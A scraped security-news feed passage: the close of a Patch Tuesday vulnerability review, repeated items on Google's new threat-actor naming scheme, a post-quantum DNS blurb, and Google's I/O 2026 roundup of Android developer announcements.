Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.</p><p class="">Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.</p><p class="">Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.</p><p class="">Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
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<title><![CDATA[Google Launches Unified Cryptonym-Based Naming System for Threat Actors]]></title>
<description><![CDATA[Google Threat Intelligence Group (GTIG) has introduced a unified cryptonym-based naming system for cyber threat actors, aiming to simplify attribution, improve analyst workflows, and eliminate inconsistencies between legacy tracking conventions used across Google’s security teams. The initiative ...]]></description>
<link>https://tsecurity.de/de/3694550/hacking/google-launches-unified-cryptonym-based-naming-system-for-threat-actors/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694550/hacking/google-launches-unified-cryptonym-based-naming-system-for-threat-actors/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:42 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google Threat Intelligence Group (GTIG) has introduced a unified cryptonym-based naming system for cyber threat actors, aiming to simplify attribution, improve analyst workflows, and eliminate inconsistencies between legacy tracking conventions used across Google’s security teams. The initiative follows the integration of Mandiant and Google’s Threat Analysis Group (TAG) into GTIG. Before the merger, both organizations […]</p>
<p>The post <a href="https://gbhackers.com/google-launches-unified-cryptonym-based-naming-system/">Google Launches Unified Cryptonym-Based Naming System for Threat Actors</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[Google Launches Unified Cryptonym-Based Naming System for Threat Actors]]></title>
<description><![CDATA[Google Threat Intelligence Group (GTIG) has introduced a unified cryptonym-based naming system for cyber threat actors, aiming to simplify attribution, improve analyst workflows, and eliminate inconsistencies between legacy tracking conventions used across Google’s security teams. The initiative ...]]></description>
<link>https://tsecurity.de/de/3694478/it-security-nachrichten/google-launches-unified-cryptonym-based-naming-system-for-threat-actors/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694478/it-security-nachrichten/google-launches-unified-cryptonym-based-naming-system-for-threat-actors/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google Threat Intelligence Group (GTIG) has introduced a unified cryptonym-based naming system for cyber threat actors, aiming to simplify attribution, improve analyst workflows, and eliminate inconsistencies between legacy tracking conventions used across Google’s security teams. The initiative follows the integration of Mandiant and Google’s Threat Analysis Group (TAG) into GTIG. Before the merger, both organizations […]</p>
<p>The post <a href="https://gbhackers.com/google-launches-unified-cryptonym-based-naming-system/">Google Launches Unified Cryptonym-Based Naming System for Threat Actors</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[Google Unveils Unified Naming System for Tracking Cyber Threat Actors]]></title>
<description><![CDATA[Google Threat Intelligence Group (GTIG) announced a major overhaul to how it tracks and names cyber threat actors, rolling out a unified cryptonym-based naming schema designed to standardize threat attribution across platforms. The change addresses long-standing fragmentation between Mandiant and...]]></description>
<link>https://tsecurity.de/de/3694467/it-security-nachrichten/google-unveils-unified-naming-system-for-tracking-cyber-threat-actors/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694467/it-security-nachrichten/google-unveils-unified-naming-system-for-tracking-cyber-threat-actors/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google Threat Intelligence Group (GTIG) announced a major overhaul to how it tracks and names cyber threat actors, rolling out a unified cryptonym-based naming schema designed to standardize threat attribution across platforms. The change addresses long-standing fragmentation between Mandiant and Google’s Threat Analysis Group (TAG), which historically operated separate, independently evolved tracking systems. The merger […]</p>
<p>The post <a href="https://cyberpress.org/google-unveils-unified-naming-system/">Google Unveils Unified Naming System for Tracking Cyber Threat Actors</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[PQC Migration Now Has a Deadline. Does Your DNS Estate?]]></title>
<description><![CDATA[Learn why crypto-agility depends not just on adopting the right standards, but on maintaining a clear, unified view of your DNS environment before the migration begins. This article has been indexed from Blog Read the original article: PQC Migration Now…
Read more →
The post PQC Migration Now Has...]]></description>
<link>https://tsecurity.de/de/3694440/it-security-nachrichten/pqc-migration-now-has-a-deadline-does-your-dns-estate/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694440/it-security-nachrichten/pqc-migration-now-has-a-deadline-does-your-dns-estate/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Learn why crypto-agility depends not just on adopting the right standards, but on maintaining a clear, unified view of your DNS environment before the migration begins. This article has been indexed from Blog Read the original article: PQC Migration Now…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/pqc-migration-now-has-a-deadline-does-your-dns-estate/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/pqc-migration-now-has-a-deadline-does-your-dns-estate/">PQC Migration Now Has a Deadline. Does Your DNS Estate?</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[17 Things to know for Android developers at Google I/O]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP, Product Management, Android DeveloperToday at Google I/O, we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcemen...]]></description>
<link>https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:45 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP7OJeCTRC-RN9j39-rULmU26qB-lZoyIZjjDrq07Z7b5GsfHz3q18ftSgcWReGBgIBkp03B6BVghzWllOC38o4jckzzq-e4a8R23ISeegev98zubhGXbIzhTZaqbCTaPLJC2zkxKYvvNspcM4yXkk94f6PEQHpdyMvlpwogicTWQRn3GEksJHOTQDIG4/s2048/GoogleForDevelopers-AndroidText-StrapiMetacard-2048x1323.png">


<div><div class="separator"><div class="separator"><div class="separator"><i>Posted by Matthew McCullough, VP, Product Management, Android Developer</i></div></div></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s4209/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s16000/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"></a></div><div><br></div>Today at <a href="https://io.google/2026/">Google I/O,</a> we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcements for Android developers; you can also <a href="https://www.youtube.com/live/KvTRMSa1w4E?si=QBAxNvihPwJCJUuS">see what was announced last week</a> in <a href="https://developer.android.com/events/show">The Android Show: I/O Edition</a>. Stay tuned over the next two days as we dive into all of the topics in more detail!<h2><strong><span>Build High Quality Android Apps Using Agents</span></strong></h2>

  <h3><strong><span>1: Android CLI: helping you build with any agent, LLM, and tool</span></strong></h3>
  <a href="https://goo.gle/CLI_IO26">Android CLI is now stable</a>. It offers programmatic tools that allow any AI agent, including Claude Code, Codex, or Antigravity, to perform core Android tasks much more easily and efficiently. With today’s release, it also provides a bridge to tap directly into the "heavy-lifting" power of Android Studio to give you the production-ready polish needed for professional Android development. By leveraging the new android studio commands, developers can now grant their preferred agents the ability to perform semantic symbol resolution, analyze files for warnings, and even render Jetpack Compose previews. This release also enables official support for "Journeys" through new <a href="https://developer.android.com/tools/agents/android-skills">Android skills</a>, which enables agents to execute end-to-end UI tests under your direction. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.    <p><span></span></p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXrW3yDK9uH_I8MDyVxgYbPAXfrNTJvlMkXhaZFrM1X9ob0LvQbGe_ZC6anUeO_VNd181iptI_MIuEEpX-9GZdf6ZTJCN-WHpPzDCLOeSblo8vrjliSZ0rRrHwIsERWBjbbosP-M_WvA2pva9mF5FWVygAwQbdiW3SLZgJj9TpRIruG4H-ILsvSq_b4dc/w640-h442/agy-android-cli%20(2).png"></div><div class="separator"><span><i>You can now easily install Android CLI for use with Google Antigravity 2.0.</i></span></div><p></p>

  <h3><strong><span>2: Build production-ready apps with ease in Google AI Studio</span></strong></h3>
  Developers and creators can now <a href="http://android-developers.googleblog.com/2026/05/build-android-apps-google-ai-studio.html">build native Android apps, simply with a prompt in Google AI Studio</a>. The apps are built with development best practices like Jetpack Compose, Kotlin, and APIs that leverage our recommended developer patterns. Google AI Studio enables developers to prototype, iterate via an embedded emulator, and deploy to physical devices without heavy local installations. Developers are then able to take those apps and share them to Android devices, as well as share them with others for testing through Google Play Console’s internal testing track. If a developer wants to prepare their app for a wider release, they’re able to take it to Android Studio for advanced debugging, testing, and UI polish. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.<br><br><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdRaw1v6rolr4alo0C6AWKdFchsMEQgtOGfmk2Ramb0IoOB7smDcVU3yC7YJMkvVQuCPJ9vQW53tQjaV-5wcgOGzMtFDmb_Jbv40an1kvQdqYburXnsONvLqckKL2MWuShi3XmQEstW761oOLjujOk3FMsh3FyAiy5-Pe7xdTwFdfkWOmEnHhQfUJhtCo/w640-h544/image1.gif"></div><i><div class="separator"><i>Use the embedded Android Emulator to create Android apps in Google AI Studio</i></div></i></div><h2><strong><span>3: Accelerating AI coding assistance with Android Bench</span></strong></h2>
  <a href="http://d.android.com/bench">Android Bench</a> is our LLM leaderboard for Android development challenges. The goal is to accelerate model improvements, so you have more useful options for AI assistance. Many of you have been using open-weight models for AI assistance, so we’re now adding commonly used ones, such as Gemma 4, to the leaderboard, so you can see how LLMs that offer offline access and additional flexibility for power-users measure up. We're continuously working on increasing the difficulty of challenges we’re giving LLMs, to continue encouraging more useful improvements. <h3><strong><span>4: Convert iOS apps to Android with the Migration Assistant in Android Studio</span></strong></h3>
  The Migration Assistant in Android Studio is designed to port apps from platforms like iOS, React Native, or web frameworks to native Android. By simply selecting an existing project, developers can have the agent intelligently map features, convert assets like storyboards and SVGs, and implement Android best practices using Jetpack Compose and our recommended Jetpack libraries. This effectively transforms what used to be weeks of manual porting into a streamlined agentic workflow that only takes hours. We shared a preview of the incoming feature in the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>. </div><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK7UKI_nzS7gOkDXYONAjCNbQ4eSqlgT8qqMT5D4qf0OjQUNtxj4Urpq-eTROMEDgrqLKGlwMm_lHA7ayG_BC1DkitQI1ZKsF5gYr-mPIxFUsz_8JPcVHFAtnHZoO2CrVjMEvJrqvBz8_WU1I0T1P2diDprR2B47PcA21oS3RLtbgrhmrpiWV-MAw9ks4/w640-h360/image9%20(1).gif"></div><div class="separator"><i>A sneak peek of the Migration Assistant converting an iOS app into a native Android app</i></div>

  <h2><strong><span>Building AI Into Your Apps</span></strong></h2>

  <h3><strong><span>5: Building Intelligent Apps with generative AI</span></strong></h3>
  Generative AI enables you to create apps that are more intelligent, personalized, and agentic than ever before. This year, we introduced the latest advancements in on-device intelligence with a preview of Gemini Nano 4 for tasks like data extraction and summarization. We also expanded cloud capabilities via Firebase AI Logic, allowing developers to leverage Gemini models with robust grounding (including URL, Maps, and web search) to build smarter, more capable assistants. Furthermore, we unveiled our hybrid inference approach and the new <a href="https://goo.gle/ADK_IO26">Agent Development Kit (ADK) for Android</a>, alongside communication protocols like AG-UI and A2UI that simplify the creation of autonomous, agentic experiences. To start integrating these powerful features, explore the <a href="https://developer.android.com/ai">developer documentation</a>, and watch the technical deep dive session where we showcase all these technologies.

  <h3><strong><span>6: Experiment with AppFunctions today</span></strong></h3>
  AppFunctions is an <a href="https://developer.android.com/reference/android/app/appfunctions/package-summary">Android platform API</a> with an accompanying <a href="https://developer.android.com/jetpack/androidx/releases/appfunctions">Jetpack library</a> to simplify building Android MCP integrations. It empowers your apps to behave like on device MCP servers, contributing functions that act as tools for use by agents and assistants. AppFunctions integration with Gemini is currently in a private preview with trusted testers, and you can begin preparing your apps already. You can sign up for the <a href="http://goo.gle/eap-af">Early Access Program</a> and start experimenting using the <a href="http://d.android.com/ai/appfunctions">API guidance</a>, <a href="https://github.com/android/appfunctions">sample</a>, and <a href="https://github.com/android/skills/blob/main/device-ai/appfunctions/SKILL.md">skill</a> today.

  <h2><strong><span>The Future is Adaptive</span></strong></h2>

  <h3><strong><span>7: Android is now Compose First; Views are now in maintenance mode.</span></strong></h3>
  Compose is our standard for UI development, and we are moving to a Compose-first approach for all future guidance and libraries. Building on five years of evolution, the latest releases deliver a more mature toolkit, from the highly customizable Styles API to refined shared element transitions and enhanced input support. These updates allow you to build beautiful, adaptive apps with less code and better performance. Learn more about what Compose-first means for Android Development in <a href="http://android-developers.googleblog.com/2026/05/android-ui-development-is-compose-first.html">our blog post</a>. <br><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq9kh5gxOfSdY2w9ZeKdWropXpqP7rj4KtodIZA5B_j7ujQu-blrsQKKC0lI4VEsEycpLEwsZeJhHaNOY1Xe9DrIHDwVszYfQN0GQlwxz8xoVfg1oiIr9zNlUyqqdCl2M7pyHoHgVvC7omKRthmXNaO3GE5Q15XeZ1ALiugszd8qHxpWuHo2Eh79zYW4M/w640-h416/image5.png"></div><div><div><i>Build Android UI with Compose</i></div><h3><strong><span>8: Building seamless Android experiences across devices with Jetpack Compose</span></strong></h3><div>The Android ecosystem is now <a href="https://goo.gle/AdaptiveApps_IO26">Adaptive by Default</a>, moving fluidly across phones, foldables, tablets, cars, XR, and expanding usages with <a href="https://developer.android.com/googlebook">Googlebook</a> and connected displays. With over 580 million large-screen devices, and users on multiple devices spending up to 14x more on apps, the investment in adaptive design presents a massive opportunity. <a href="https://developer.android.com/compose">Jetpack Compose</a> is the definitive engine for this transition, offering core tools like our latest <a href="http://goo.gle/nav3">Jetpack Navigation 3</a> release, new experimental <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid">Grid</a> and <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox">FlexBox</a> layouts, enhanced non-touch input support, and <a href="https://developer.android.com/media/camera/camerax">CameraX</a> for correct camera previews across any window size. Furthermore, new <a href="https://developer.android.com/tools/agents/android-skills">skills</a> in Android Studio make updating your existing app to adopt these adaptive patterns easier than ever.

  <img src="https://blogger.googleusercontent.com/img/a/AVvXsEi3DD3G6IUrmOwYh7bMq0uieBvGL8li2W48YnUfQfa3ZXy2kD7QvPorNfAyCSmFlBs4q0csXDqmZjhyGf8UHFE2pUNjvqxLaaJhmm6QpSBumq2YkMHI1jyiTNfh5WQhEEY9hP6vWhcbbwflygdTwYzoIdnuIqoht0S6iGKk4pVCnxL2wVXYBMBlcdeneD8"><i>Notability’s Android debut sets a new standard for premium productivity apps. Built with Jetpack Compose, Navigation 3, and Kotlin Multiplatform, it delivers an intuitive, adaptive experience across devices.</i></div><h3><strong><span>9: Create seamless experiences for Googlebook</span></strong></h3>
  Last week we announced <a href="https://developer.android.com/googlebook">Googlebook</a>, a high-performance laptop that provides a large-screen canvas for your existing apps. Building with adaptive principles today helps ensure your app will work on Googlebook. Get started by reviewing relevant <a href="https://developer.android.com/design/ui/desktop">design guidance</a> and <a href="https://developer.android.com/docs/quality-guidelines/adaptive-app-quality/experiences/desktop">developer guidelines</a> for desktop experiences. Try out the new Desktop Emulator available in the Android Studio Canary to to test your apps for this form factor today.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtH3cjiXICi8dNCtQTDV9PTyjt4wPQBl1xA9XGKGU6FmqLRuBm9YyH7HNQsydD6H6F2GIPw2TdUsFyeu2xMFUO2Jk36k5QXjuWNdm_VE8AQftq2w2m0RPFyYfyZjTppSOjzuOEpJMzF08t9V0YZr-xI7mu31uvcRItugwvVxPUBouSmOXt1MsqbB1WPC0/w640-h360/image3.png"></div><div><div><i>New Desktop Android Emulator</i></div><h3><strong><span>10: Unified widget development experience with Jetpack Glance</span></strong></h3>
  Android 17 marks a shift toward a single, Compose-based development model for all widgets. By unifying the experience across mobile, Wear OS, and cars through Jetpack Glance, you can soon scale UI components across the ecosystem with a familiar workflow. <br><br>The breakthrough this year is the integration of RemoteCompose. On mobile and cars, it powers high-fidelity animations, while on Wear OS, it allows Wear Widgets (formerly Tiles) to render complex UI logic natively on remote surfaces. This ensures peak performance on low-power hardware while allowing a cohesive user journey—like checking a flight status on your car dashboard and seeing gate change updates on your wrist.</div><div><br></div><div><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA5s4g4hCW89qdeC2oqrTtxh6q7t9q3-wkOSt3tfVzCT3vhLUd1GMYJrhCjK04O2jyxBGl0R2pclnRq3Kb0f0Td-hV9aukKvZQTfGpGJS6GLK0MqUkpVW_0qiNC1eMGe6NPPhlCHrnQWFYhmbdSzpDnUHh5tjvpmUzZOvY2w_dX1LBnpNctSRmeahXUl4/w640-h320/blog_widgets.gif"></div><div><i>Four widgets are shown cycling through in the Android Auto interface. A clock, a contact card, Google Home favorites and a photo.</i></div><div><i><br></i></div><div><strong><span>11: Expand your reach on the road with Android for Cars</span></strong><br>To help you expand your reach when you build in-car experiences, we're making it easier to build once and deliver your apps to Android Auto and Android Automotive OS. With the latest releases of the Car App Library, you can build customized, distraction-optimized <a href="https://developer.android.com/training/cars/apps/media">templated media apps</a> for both platforms. We're introducing new <a href="https://developer.android.com/design/ui/cars/guides/components/overview">components</a> and template capabilities to give you increased flexibility and more options for laying out content. Parked experiences are expanding too, with immersive video playback coming to Android Auto for phones running Android 17. You can easily adapt your video apps for these parked experiences; <a href="https://docs.google.com/forms/d/e/1FAIpQLSf0z4Nfw8wrloVhlgHDpLgdkg4WXsFj9ni5c1pw0qTvJ3Q4fQ/viewform">apply now to the early access program</a> to publish in these beta categories and learn more about the latest updates in our <a href="http://android-developers.googleblog.com/2026/05/android-for-cars-unifying-platforms-premium-experiences.html">blog</a>.<h3><strong><span>12: Accelerate your development with Android XR Developer Preview 4</span></strong></h3>Inspired by the innovative experiences you’ve built for the platform, we’re continuing to mature our tools with <a href="https://goo.gle/XRSDK_IO26">Developer Preview 4 of the Android XR SDK</a>. A key milestone in this journey is the transition of our core libraries, XR Runtime, Jetpack SceneCore, and ARCore for Jetpack XR, moving to Beta soon to provide a more stable and performant foundation. We are also accelerating hardware access through the <a href="https://goo.gle/Catalyst_IO26">Android XR Developer Catalyst Program</a>, where you can apply for XREAL’s Project Aura, audio glasses, or display glasses developer kits. Watch The latest in Android XR session or <a href="https://goo.gle/XRSDK_IO26">read our blog</a> to see how these updates help you build experiences across the ecosystem.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyjbgGH7RwGkOkQLoXeLd88Vo7cXRjHLBSRokBWkzvYQUrqqbfrTXukM1u_SuGq0-AoXRPoGABpCOF-HMad4-aoNvXjTVyNXgGpbffTlSQMbTaXJva1c2GiUBx1fhC4fCCd0XO9XFzKNzs6edNqo0RAx-p2ZNXy0l-StJh7AxhyphenhyphenrXi-lqe-jXL0n8oprs/w640-h360/Aura%20Geospatial%20Tour%20Demo%20-%20Draft%2001%20(1).gif"></div><i><div><i>Early preview of the Geospatial API  in ARCore for Jetpack XR, enabling high-precision anchoring of digital content to real-world locations.</i></div></i><h3><strong><span>13: Android is your new home for professional-grade media experiences</span></strong></h3>
  Android 17 streamlines the entire media lifecycle with a production-ready toolkit. High-fidelity capture is now simplified with the CameraXViewfinder Composable, which handles complex scaling and responsiveness on foldables and tablets. For post-production, the new Media3 AI Effects library provides a single interface for premium features like Magic Eraser and Studio Sound, automatically optimizing for the device's hardware. <br><br>The pipeline is completed by CodecDB, offering chipset-specific encoding recommendations to eliminate export noise, and a new Scrubbing Mode in ExoPlayer for ultra-smooth seeking. Whether you’re compositing multi-asset edits with Media3 Transformer or using the streamlined CastPlayer API, these updates ensure a professional-grade experience with significantly less development overhead.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXXvjrWhhRUXdYJyhuu-Vnf0UP2jKcYhAvUggZJi10kndrixZdx4cD8HEhrWVmavlxAUT5N025Fx1kgOLJP5w83LDUSR3E9YzfIJUuZ3WBedFSBtI_oLgIcxSOYg-s53obwX_8HtYqfxSaz95LVzSiMAdrrwgL4T6TVETwtxxkZV2mSkkAfvYA681zNlc/w640-h542/supercharge%20(1).gif"></div><div class="separator"><i>Low Light Boost and Magic Eraser in action</i></div><h3><strong><span>14: Increase app discovery and engagement on Google TV</span></strong></h3>
  Pointer remotes, which enable motion-controlled input, will be a future way for users to interact with Google TV as it unlocks faster user navigation. App developers can start <a href="https://developer.android.com/training/tv/get-started/hardware#no-touchscreen">declaring support for pointing input</a> to ensure their apps are discoverable on future TVs with pointer remotes. Additionally, the Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement. It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. Get all the details in our <a href="http://android-developers.googleblog.com/2026/05/increase-google-tv-app-discovery.html">blog</a>.</div><div><h3><strong><span>15: Performance: the foundation of a great app experience</span></strong></h3>To help developers navigate memory limits in Android 17, we've launched a suite of optimization tools. The <a href="https://developer.android.com/r8-analyzer">R8 Configuration Analyzer</a> identifies keep rules that are bloating your binary, while <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/how-to-capture">ProfilingManager</a> and the integrated LeakCanary in Android Studio streamline memory leak detection. Furthermore, the new <a href="https://developer.android.com/android-performance-analyzer">Android Performance Analyzer</a> offers advanced AI integration for complex trace analysis and automated SQL query generation to pinpoint performance bottlenecks.     <h2><strong><span>And The Latest on Driving Business Growth </span></strong></h2>

  <h3><strong><span>16: What’s new in Google Play</span></strong></h3>Today's <a href="https://goo.gle/play-io26">updates from Google Play</a> help expand your reach and scale your business with less complexity. We’re redefining Play Store discovery with an immersive, short-form video format called Play Shorts, while expanding your audience beyond the store with app discovery in the Gemini app on Android and web. Plus, we’re introducing powerful new capabilities like agentic catalog management for seamless bulk price and SKU updates, and using Gemini models to enable Play Console  to pre-populate store listings from imported documents—making global localization effortless. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOB1wGZNYGPgY0ED70X7Dtl2KiFk8kRH4fv3HrXXTWX0-xKkN4Em0mi8QAB0g2w_-4SNcTR4fJazpiQ7XI6-XKeyQniFhULKWNmV8YvyWMuQ9tosvT5ixZ0FOye27DI90R5Tra1eWX3FCX7OrWkgzhvhCD6vtfD8_6-FMfMWDvXoVv3zSTauZwraDGsM4/w640-h360/IO26_BlogInLine_App-discovery-in-Gemini_1920x1080_1605.gif"></div><div><i>Gemini will provide users with app suggestions during a search</i></div>

  <h3><strong><span>17: And of course, Android 17</span></strong></h3>
  Android 17 includes new performance &amp; system architecture improvements (in addition to app memory limits) like a lock-free MessageQueue and a GC with more frequent, less intensive young-generation collections to ensure system-wide stability and smoother UIs. The new <a href="https://developer.android.com/about/versions/17/features/contact-picker">contact picker</a> and <a href="https://developer.android.com/reference/android/content/Intent#ACTION_OPEN_EYE_DROPPER">eyedropper API</a> help minimize the use of sensitive permissions and unnecessary access to user data. <br><br>Review <a href="https://developer.android.com/about/versions/17/behavior-changes-all">the behavior changes</a> to make sure your app is ready for Android 17, including <a href="https://developer.android.com/about/versions/17/behavior-changes-all#bg-audio">background audio hardening</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">SMS OTP protection</a>. Get ready to <a href="https://developer.android.com/about/versions/17/behavior-changes-17">target Android 17</a> (API 37) with changes such as mandatory large-screen resizability, certificate transparency by default, and restricted local network access. You can start testing today by enrolling your device <a href="https://android-developers.googleblog.com/2026/04/the-fourth-beta-of-android-17.html">in the Beta</a> or using the latest 17.0 emulator images. <br><br>One more thing. the third beta of our Android 17 quarterly platform release (QPR1) just came out, and it contains a minor SDK release to support a few features that just couldn't wait for QPR2.

  <h2><strong><span>Check out all of the Android &amp; Play Content at Google I/O </span></strong></h2>
  <p><span face="sans-serif">This was just a preview of some of the updates for Android developers at Google I/O. Tune into <a href="https://io.google/2026/explore/pa-keynote-5">What’s New in Android</a> for the latest news and announcements and <a href="https://io.google/2026/">follow Google I/O</a> for much more over the following week!</span></p></div>]]></content:encoded>
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<title><![CDATA[Building Premium Android Experiences at Google I/O ‘26]]></title>
<description><![CDATA[Posted by Ataul Munim, Android Developer Relations Engineer



  
    
  



  A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app'...]]></description>
<link>https://tsecurity.de/de/3693509/android-tipps/building-premium-android-experiences-at-google-io-26/</link>
